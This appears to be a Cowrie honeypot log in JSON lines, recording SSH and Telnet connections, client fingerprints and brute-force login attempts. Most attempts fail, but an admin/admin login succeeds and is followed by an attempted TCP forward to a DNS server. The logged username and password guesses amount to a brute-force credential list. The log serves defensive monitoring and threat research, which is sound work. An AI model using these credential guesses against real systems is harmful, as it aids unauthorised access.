{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:49:46.520864Z","src_ip":"89.223.69.22","session":"7e07adf85209","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"checking!@!@%","message":"login attempt [root/checking!@!@%] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:49:46.884065Z","src_ip":"89.223.69.22","session":"7e07adf85209","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:49:48.006522Z","src_ip":"89.223.69.22","session":"7e07adf85209","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":51500,"dst_ip":"159.203.135.109","dst_port":23,"session":"45b88924ea61","protocol":"telnet","message":"New connection: 128.199.8.54:51500 (159.203.135.109:23) [session: 45b88924ea61]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:50:10.817194Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.249.87.183","src_port":43480,"dst_ip":"159.203.135.109","dst_port":23,"session":"c49af5645398","protocol":"telnet","message":"New connection: 103.249.87.183:43480 (159.203.135.109:23) [session: c49af5645398]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:50:12.918482Z"}
{"eventid":"cowrie.session.connect","src_ip":"72.17.34.38","src_port":56570,"dst_ip":"10.17.0.5","dst_port":22,"session":"e14d26d72b4f","protocol":"ssh","message":"New connection: 72.17.34.38:56570 (10.17.0.5:22) [session: e14d26d72b4f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:50:28.255408Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:50:28.259673Z","src_ip":"72.17.34.38","session":"e14d26d72b4f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:50:28.293981Z","src_ip":"72.17.34.38","session":"e14d26d72b4f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"boss","password":"boss123","message":"login attempt [boss/boss123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:50:28.467342Z","src_ip":"72.17.34.38","session":"e14d26d72b4f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.2","message":"Connection lost after 1.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:50:29.504435Z","src_ip":"72.17.34.38","session":"e14d26d72b4f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.263052463531494,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:50:47.181381Z","src_ip":"103.249.87.183","session":"c49af5645398","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":54.199174642562866,"message":"Connection lost after 54 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:51:05.016232Z","src_ip":"128.199.8.54","session":"45b88924ea61","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.45.199.80","src_port":55084,"dst_ip":"159.203.135.109","dst_port":22,"session":"6bb73f15cd0f","protocol":"ssh","message":"New connection: 147.45.199.80:55084 (159.203.135.109:22) [session: 6bb73f15cd0f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:51:09.791177Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:51:09.795215Z","src_ip":"147.45.199.80","session":"6bb73f15cd0f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:51:09.893741Z","src_ip":"147.45.199.80","session":"6bb73f15cd0f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"22031994","message":"login attempt [root/22031994] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:51:10.190660Z","src_ip":"147.45.199.80","session":"6bb73f15cd0f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:51:11.292235Z","src_ip":"147.45.199.80","session":"6bb73f15cd0f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.81.62.90","src_port":41882,"dst_ip":"159.203.135.109","dst_port":23,"session":"c2b404267a50","protocol":"telnet","message":"New connection: 172.81.62.90:41882 (159.203.135.109:23) [session: c2b404267a50]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:51:12.447623Z"}
{"eventid":"cowrie.session.connect","src_ip":"172.81.62.90","src_port":53552,"dst_ip":"159.203.135.109","dst_port":23,"session":"380865bd24cb","protocol":"telnet","message":"New connection: 172.81.62.90:53552 (159.203.135.109:23) [session: 380865bd24cb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:51:19.613316Z"}
{"eventid":"cowrie.session.closed","duration":38.105021715164185,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:51:50.552548Z","src_ip":"172.81.62.90","session":"c2b404267a50","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":38.271979331970215,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:51:57.885206Z","src_ip":"172.81.62.90","session":"380865bd24cb","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"38.93.206.2","src_port":35954,"dst_ip":"159.203.135.109","dst_port":22,"session":"31a8dabf034b","protocol":"ssh","message":"New connection: 38.93.206.2:35954 (159.203.135.109:22) [session: 31a8dabf034b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:52:25.306262Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:52:25.310053Z","src_ip":"38.93.206.2","session":"31a8dabf034b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:52:25.360120Z","src_ip":"38.93.206.2","session":"31a8dabf034b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"19071994","message":"login attempt [root/19071994] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:52:25.511936Z","src_ip":"38.93.206.2","session":"31a8dabf034b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:52:26.573899Z","src_ip":"38.93.206.2","session":"31a8dabf034b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":55488,"dst_ip":"10.17.0.5","dst_port":22,"session":"a1a037ef51cd","protocol":"ssh","message":"New connection: 87.251.64.176:55488 (10.17.0.5:22) [session: a1a037ef51cd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:52:27.475119Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:52:27.478825Z","src_ip":"87.251.64.176","session":"a1a037ef51cd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:52:27.578119Z","src_ip":"87.251.64.176","session":"a1a037ef51cd","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:52:27.864267Z","src_ip":"87.251.64.176","session":"a1a037ef51cd","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:52:27.959823Z","session":"a1a037ef51cd","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:52:28.054462Z","src_ip":"87.251.64.176","session":"a1a037ef51cd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:52:28.152576Z","src_ip":"87.251.64.176","session":"a1a037ef51cd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"72.17.34.38","src_port":37846,"dst_ip":"10.17.0.5","dst_port":22,"session":"84515baeab2c","protocol":"ssh","message":"New connection: 72.17.34.38:37846 (10.17.0.5:22) [session: 84515baeab2c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:52:29.573879Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:52:29.576961Z","src_ip":"72.17.34.38","session":"84515baeab2c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:52:29.610613Z","src_ip":"72.17.34.38","session":"84515baeab2c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"asdf123","message":"login attempt [root/asdf123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:52:29.783715Z","src_ip":"72.17.34.38","session":"84515baeab2c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:52:30.826257Z","src_ip":"72.17.34.38","session":"84515baeab2c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"102.37.220.188","src_port":47682,"dst_ip":"159.203.135.109","dst_port":23,"session":"2f26e4640b40","protocol":"telnet","message":"New connection: 102.37.220.188:47682 (159.203.135.109:23) [session: 2f26e4640b40]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:52:44.537256Z"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":35156,"dst_ip":"159.203.135.109","dst_port":23,"session":"a77aaebabeeb","protocol":"telnet","message":"New connection: 128.199.8.54:35156 (159.203.135.109:23) [session: a77aaebabeeb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:52:55.262870Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.82.132.16","src_port":39858,"dst_ip":"159.203.135.109","dst_port":22,"session":"ad1c7927185f","protocol":"ssh","message":"New connection: 103.82.132.16:39858 (159.203.135.109:22) [session: ad1c7927185f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:53:12.613830Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:53:12.618196Z","src_ip":"103.82.132.16","session":"ad1c7927185f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:53:12.880492Z","src_ip":"103.82.132.16","session":"ad1c7927185f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"29011993","message":"login attempt [root/29011993] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:53:13.650025Z","src_ip":"103.82.132.16","session":"ad1c7927185f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:53:14.905490Z","src_ip":"103.82.132.16","session":"ad1c7927185f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.878039360046387,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:53:16.415121Z","src_ip":"102.37.220.188","session":"2f26e4640b40","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.172.78.219","src_port":42412,"dst_ip":"10.17.0.5","dst_port":22,"session":"d8ead0f229e4","protocol":"ssh","message":"New connection: 103.172.78.219:42412 (10.17.0.5:22) [session: d8ead0f229e4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:53:16.709759Z"}
